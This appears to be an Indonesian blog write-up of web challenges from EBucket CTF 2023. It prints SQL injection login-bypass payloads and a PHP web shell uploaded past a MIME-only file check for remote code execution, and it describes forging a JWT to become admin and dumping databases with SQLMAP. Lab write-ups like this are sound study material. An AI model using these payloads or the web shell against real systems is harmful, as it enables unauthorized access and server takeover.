Allen Gerysena Cyber Security Enthusiast

Write-ups EBucket CTF 2023

W

[WEB][Easy] SQLi-1 & [Medium] SQLi-2

Kedua task berikut memiliki kesamaan yang cukup mirip sehingga untuk walkthrough akan dibuat dalam satu pembahasan saja, berikut adalah tampilan halaman task:

Payload yang digunakan pada task SQLi-1 Easy:

admin'%20OR%20'1

Payload yang digunakan pada task SQLi-2 Medium:

admin'%20OR%20''%20=%20'

[WEB][Easy] Ping Check

Deskripsi yang diberikan pada task ini adalah sebagai berikut:

Did you know that this CTF is run on custom built open source software? Note: The flag is not in the usual bucket{} format. Do not overthink. You don’t need to go to any other page.

Maka langsung saja menuju alamat repository github yang diberikan dan flag berada pada bagian kanan (bagian topic):

Klik topic tersebut untuk memperjelas flag.

[WEB][Easy] Auth

Tampilan web target akan terlihat menggunakan HTTP Auth untuk autentikasi login yang digunakan.

Apabila proses login tidak berhasil maka akan diminta untuk melakukan registrasi pada endpoint /register dengan menggunakan parameter username & password.

Percobaan ini username yang digunakan adalah a dengan password a.

Setelah proses registrasi selesai, gunakan kredensial tersebut untuk login lalu sebuah token baru akan terlihat.

Setelah di cek pada bagian respon, terdapat informasi yang tertuju pada endpoint /info untuk mengetahui informasi terkait token yang sudah berhasil terbuat.

Setelah melakukan akses ke endpoint /info, terdapat informasi untuk melakukan validasi token yang sudah dibuat dengan cara akses ke endpoint /validate diikuti dengan value token yang sudah dimiliki.

Namun untuk mendapatkan flag perlu dilakukan eskalasi dari user biasa menjadi admin.

Jika kita analisa menggunakan bantuan https://jwt.io terdapat value nama username saat ini dan seperti yang diminta, ubah value tersebut menjadi admin.

Merubah value user a menjadi admin.

Lakukan validasi pada endpoint /validate menggunakan token yang telah di modifikasi maka flag akan terlihat pada respon.

[WEB][Hard] SQLi-3 & SQLi-4

Task ini sebenarnya agak unik karena memiliki kategori High seharusnya seperti yang diekspektasi, mungkin admin akan mengira peserta akan melakukannya dengan cara inject payload SQL Injection secara manual dengan cara boolean-based blind dan time-based blind, namun faktanya kita dapat melakukan secara otomatis menggunakan bantuan tool SQLMAP, maka flag akan terdapat pada salah satu tabel di masing-masing database.

[WEB][Hard] GIF

Berikut adalah tampilan dari task ini, dimana user akan diminta untuk memberikan nama pada file yang akan di upload beserta filenya.

Setelah dianalisis ternyata pengecekan hanya dilakukan menggunakan tipe MIME saja sehingga kita bisa melakukan upload file dengan ekstensi .php dan mengisikan file tersebut sebuah kode yang akan digunakan untuk Remote Code Execution lalu membaca flag.

Payload yang digunakan:

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

Setelah file berhasil diupload, hal selanjutnya adalah mencari letak dimana file tersebut disimpan agar dapat diakses, dalam hal ini file akan disimpan dalam direktori /uploads, berikut adalah hasil yang ditampilkan oleh tool Dirsearch pada respon 403, yang artinya direktori tersebut ada, hanya saja tidak bisa diakses karena konfigurasi Directory Listing di disable sehingga perlu menambahkan nama file untuk endpoint nya.

Selanjutnya tinggal tambahkan endpoint sesuai dengan nama file yang telah di upload lalu akses parameter ?cmd= untuk melakukan Remote Code Execution.

Membaca flag pada direktori /flag.txt.

Add comment

Allen Gerysena Cyber Security Enthusiast